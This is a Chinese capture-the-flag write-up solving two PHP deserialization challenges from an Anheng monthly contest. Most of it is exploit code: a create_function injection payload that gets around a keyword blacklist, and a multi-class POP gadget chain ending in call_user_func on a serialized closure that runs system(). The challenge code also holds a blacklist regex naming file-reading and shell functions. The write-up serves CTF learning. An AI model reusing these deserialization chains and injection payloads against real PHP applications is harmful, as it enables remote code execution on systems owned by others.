前言
战队的神仙大佬们都在打TCTF,我看不懂题目但我大为震撼,而我还在打安恒月赛,这大概就是世界的参差吧。。。。
hellounser
拿了一个一血,可能是题目比较简单吧
<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } }
class B{ public $func; public $arg;
public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; $func('', $this->arg); } }
public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } }
$a=new A(); $b=new B(); $b->func="create_function"; $b->arg="}require(base64_decode(VHJ1M2ZsYWcucGhw));var_dump(get_defined_vars());//"; $a->var=$b; echo serialize($a); ?>
|
xxc
发现自己在挖掘这种框架下的链子的时候很不熟练,主要是不会书写命名空间的语法
首先是确定起点——>寻找destruct魔术方法,其中$process可控,并且指向一个函数,寻找__call看看有没有_call方法
namespace Control\State; class StopHook { protected $output; protected $config = ['auto' => 0]; protected static $states = ['started', 'running', 'finished', 'waiting', 'fail']; protected $processes;
public function __destruct() { $this->_exit(); }
private function _exit() { foreach(array_reverse($this->processes) as $process) { if (!$process->isRunning) { continue; } $process->stop(); } } }
|
在这个命名空间下有call方法,让其跳转至此,发现一个echo,看看是否有__tostring方法
<?php namespace Faker;
class MyGenerator {
protected $defaultValue;
public function __call($method, $arg_array) { echo $this->defaultCall; return $this->defaultCall; }
public function __get($property) { return $this->defaultValue; } }
|
在这个命名空间下可以发现一个tostring,跟进以后,发现其存在一个isset,那么就只需要寻找__isset魔术方法,看看是否能继续跳转
<?php namespace Method\Func;
class GetFile {
private $flag = true; private $files = [];
public function __toString() { return $this->getFiles(); }
public function getFiles() { if (!$this->flag) return "denied"; $s = "";
if (isset($this->flag->{$this->value})) { return "test"; }
foreach ($this->files as $file) { $s += $file->read(); } return $s; } }
|
在这里会回来执行popup,并且存在一个$s($length),类似于调用一个函数,那么如果将这个函数调用方式改为对象,即可触发__invoke方法
<?php namespace Method\Func;
class GetDefault { private $source;
public function popup($length) { $s = $this->source; if ($s->flag != "myTest") { return "denied"; } return $s($length); }
public function __isset($property) { if ($property != "test") { return false; } return !$this->popup(666); } }
|
序列化终点就在这里,调用这个call_user_func实现命令执行
<?php namespace Method\Func;
class GenerateFile { public $flag; protected $buffer;
public function __invoke($param) { $this->myGen($param); }
public function myGen($length) { $s = $this->buffer->read; call_user_func($this->source->generate, $length); return $s; } }
|
那么最终构造的链条如下:
<?php namespace Control\State; use Faker\MyGenerator; { class StopHook { protected $output; protected $config = ['auto' => 0]; protected static $states = ['started', 'running', 'finished', 'waiting', 'fail']; protected $processes;
public function __construct() { $this->processes=array(new MyGenerator()); }
public function __destruct() { $this->_exit(); }
private function _exit() { foreach (array_reverse($this->processes) as $process) { if (!$process->isRunning) { continue; } $process->stop(); } } } include("D:\apache\www\安恒月赛\www\closure/autoload.php"); $a=new StopHook(); echo base64_encode(serialize($a)); }
namespace Faker; use Method\Func\GetFile; { class MyGenerator {
protected $defaultValue;
public function __construct()#构建对象时被调用 { $this->defaultValue = new GetFile(); }
public function __call($method, $arg_array) { echo $this->defaultCall; return $this->defaultCall; }
public function __get($property) { return $this->defaultValue; } } } namespace Method\Func; {
class GetFile {
private $flag = true; private $files = [];
public function __construct() { $this->flag = new GetDefault(); $this->value = "test"; }
public function __toString() { return $this->getFiles(); }
public function getFiles() { if (!$this->flag) return "denied"; $s = "";
if (isset($this->flag->{$this->value})) { return "test"; }
foreach ($this->files as $file) { $s += $file->read(); } return $s; } } class GetDefault { private $source;
public function __construct() {
$this->source = new GenerateFile(); $this->source->flag = "myTest"; }
public function popup($length) { $s = $this->source; if ($s->flag != "myTest") { return "denied"; } return $s($length); }
public function __isset($property) { if ($property != "test") { return false; } return !$this->popup(666); } } class GenerateFile { public $flag; protected $buffer; public $source;
public function __construct() { $function = function () { system("ls"); }; $a = \Opis\Closure\serialize($function); $b = unserialize($a); $this->source->generate = $b; }
public function __invoke($param) { $this->myGen($param); }
public function myGen($length) { $s = $this->buffer->read; call_user_func($this->source->generate, $length); return $s; } } }
|
其中需要说明的是,在每次调用链的时候都要先声明一下所在的命名空间,并且,如果需要调用到其他命名空间的内容的时候,需要使用use,举个例子use Method\Func\GetFile;不然就会报错
有点可惜的是,比赛的时候已经构造出链子了,但是当时没学好命名空间的基本用法,所以就一直打不通哎~